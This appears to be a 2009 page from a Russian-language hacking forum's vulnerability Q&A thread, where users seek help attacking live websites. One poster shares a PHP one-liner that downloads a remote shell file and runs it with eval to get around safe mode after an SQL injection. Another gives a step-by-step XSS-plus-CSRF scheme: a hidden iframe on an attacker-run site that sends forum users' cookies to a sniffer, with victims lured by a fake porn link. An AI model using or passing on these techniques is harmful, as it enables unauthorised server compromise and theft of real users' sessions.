ANTICHAT Forum
HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
НОВЫЕ ТОРГОВАЯ НОВОСТИ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Перезагрузить страницу Ваши вопросы по уязвимостям.
   
Ответ
Страница 490 из 2438 « Первая < 390440480 486 487 488 489 490 491 492 493 494 5005405909901490 > Последняя »
 
Опции темы Поиск в этой теме Опции просмотра

  #4891  
Старый 22.01.2009, 21:22
sabe
Постоянный
Регистрация: 16.03.2007
Сообщений: 380
С нами: 10081287

Репутация: 568
По умолчанию
есть такой вопрос... есть скуля.. через нее заливаю в php но тут трабла... до смд так и не добрался...

safe mod on
magic quotes on
http include disabled

как можно обойти это? функции вида system exec passthru include copy move_uploaded_file fopen и тд не пашут! c file_get_contents не разобрался до конца..

помогите +)
Последний раз редактировалось sabe; 22.01.2009 в 21:39..
 
Ответить с цитированием

  #4892  
Старый 22.01.2009, 21:48
Qam
Познающий
Регистрация: 16.01.2009
Сообщений: 40
С нами: 9114128

Репутация: 15
По умолчанию
Заранее извеняюсь если такой вопрос здесь уже был,но я говорю честно гуглил!!!Вопщем есть на сайте пасивная хсс,могу ли я ее использовать в связке с CSRF?Тоесть я на уязвимом форуме кидаю урл на свой сайт в коде страницы которого ява скрипт суть этого скрипта в том чтобы он браузер жертвы отправлял на скрипт уявимый к хсс со всеми вытикающими!Технически это возможно?Еще раз извеняюсь если подобный вопрос уже был!Если что то не ясно спросил говорите!
 
Ответить с цитированием

  #4893  
Старый 22.01.2009, 22:07
Артем Солнце
Banned
Регистрация: 19.01.2009
Сообщений: 26
С нами: 9109766

Репутация: 67
По умолчанию
Цитата:
Сообщение от Qam  
Заранее извеняюсь если такой вопрос здесь уже был,но я говорю честно гуглил!!!Вопщем есть на сайте пасивная хсс,могу ли я ее использовать в связке с CSRF?Тоесть я на уязвимом форуме кидаю урл на свой сайт в коде страницы которого ява скрипт суть этого скрипта в том чтобы он браузер жертвы отправлял на скрипт уявимый к хсс со всеми вытикающими!Технически это возможно?Еще раз извеняюсь если подобный вопрос уже был!Если что то не ясно спросил говорите!
технически возможно, но тебе нужно правильно составить запрос, который будет выполнятся от другого пользователя, при условии конечно если он в тот момент будет авторизован.
 
Ответить с цитированием

  #4894  
Старый 22.01.2009, 22:09
попугай
Познавший АНТИЧАТ
Регистрация: 15.01.2008
Сообщений: 1,166
С нами: 9642449

Репутация: 606


По умолчанию
Цитата:
Сообщение от sabe  
есть такой вопрос... есть скуля.. через нее заливаю в php но тут трабла... до смд так и не добрался...

safe mod on
magic quotes on
http include disabled

как можно обойти это? функции вида system exec passthru include copy move_uploaded_file fopen и тд не пашут! c file_get_contents не разобрался до конца..

помогите +)
тоесть ты свой php код можешь заливать на серв уже?
 
Ответить с цитированием

  #4895  
Старый 22.01.2009, 22:26
Qam
Познающий
Регистрация: 16.01.2009
Сообщений: 40
С нами: 9114128

Репутация: 15
По умолчанию
Артем Солнце пасиб тебе за помощь!Так будет правильно в коде страниц:
<script>http://site.ru/bag.php?b=адрес_снифа</script>
вроде и все же!Иль вродь напутал!А если применить ни тэги <скрипт> а тэги картинки?Забыл в каких тэгах писать нужно!Подскажите если можете!
 
Ответить с цитированием

  #4896  
Старый 22.01.2009, 22:40
sabe
Постоянный
Регистрация: 16.03.2007
Сообщений: 380
С нами: 10081287

Репутация: 568
По умолчанию
попугай
да... долго думал.. очень)) вышло все намного проще.. вот поделюсь как я обошел сейф мод в моем случае... правда после заливки и так мало что можно зделать )
Цитата:
<? $f=file_get_contents("http://shell.txt");eval($f);?>
терь другой вопрос... как можно редактировать файл.. при сейфмоде.. нужны команды )
 
Ответить с цитированием

  #4897  
Старый 22.01.2009, 22:45
попугай
Познавший АНТИЧАТ
Регистрация: 15.01.2008
Сообщений: 1,166
С нами: 9642449

Репутация: 606


По умолчанию
sabe

а средствами шелла не редактируется? Прав не хватает?
 
Ответить с цитированием

  #4898  
Старый 22.01.2009, 22:54
sabe
Постоянный
Регистрация: 16.03.2007
Сообщений: 380
С нами: 10081287

Репутация: 568
По умолчанию
попугай
нет.. все функции отключены... токо eval пашет и ему спасибо)
могу лол токо unlink делать.. пока что остальные отключены сейфом... идеи? сайт того стоит)
 
Ответить с цитированием

  #4899  
Старый 22.01.2009, 22:58
попугай
Познавший АНТИЧАТ
Регистрация: 15.01.2008
Сообщений: 1,166
С нами: 9642449

Репутация: 606


По умолчанию
ого, всмысле fopen, fwrite, file_put_contents - всё это отключено? ващее...

а fputs ?
 
Ответить с цитированием

  #4900  
Старый 22.01.2009, 23:02
Артем Солнце
Banned
Регистрация: 19.01.2009
Сообщений: 26
С нами: 9109766

Репутация: 67
По умолчанию
Цитата:
Сообщение от Qam  
Артем Солнце пасиб тебе за помощь!Так будет правильно в коде страниц:
<script>http://site.ru/bag.php?b=адрес_снифа</script>
вроде и все же!Иль вродь напутал!А если применить ни тэги <скрипт> а тэги картинки?Забыл в каких тэгах писать нужно!Подскажите если можете!
ты видимо недопонял, что такое CSRF.
CSRF это межсайтовая имитация запроса пользователя к стороннему сайту, если пользователь в это время авторизован на стороннем сайте. Т.е. если я правильно понял, то ты нашел XSS на форуме, и в связке XSS и CSRF ты можешь сделать следующее:

Допустим http://forum/bug-script.php?tipic=1 это ссылка бажного форума.
Ты нашел там XSS и ссылка с ним выглядит допустим так:
http://forum/bug-script.php?tipic=><script>alert(document.coockie)</script>
Вот. Но это палевный вариант сувать такую ссылку пользователям.
Теперь ты на своем сайте допустим hack2009.narod.ru размещаешь в index.html такой код:
<html>
<title>ERROR</title>
<body>
<b>ERROR</b>
<iframe style="width:0px; height:0px; border: 0px"
src="http://forum/bug-script.php?tipic=><script>КОД_ПЕРЕДАЧИ_ СНИФЕРУ</script>"></iframe>
</body>
</html>
и пишешь на форуме в ЛС любому пользователю, мол "смотри тут преватное порно hack2009.narod.ru". Он переходит из ЛС на твой сайт и там выполняется CSRF+XSS. Куки твои. Молодец. Пять.

p.s. может где-то ошибся просто время уже 3:05 пиши сюда помогу чем могу
 
Ответить с цитированием
Ответ
Страница 490 из 2438 « Первая < 390440480 486 487 488 489 490 491 492 493 494 5005405909901490 > Последняя »



Предыдущая тема Следующая тема
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 6 (пользователей: 0 , гостей: 6)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.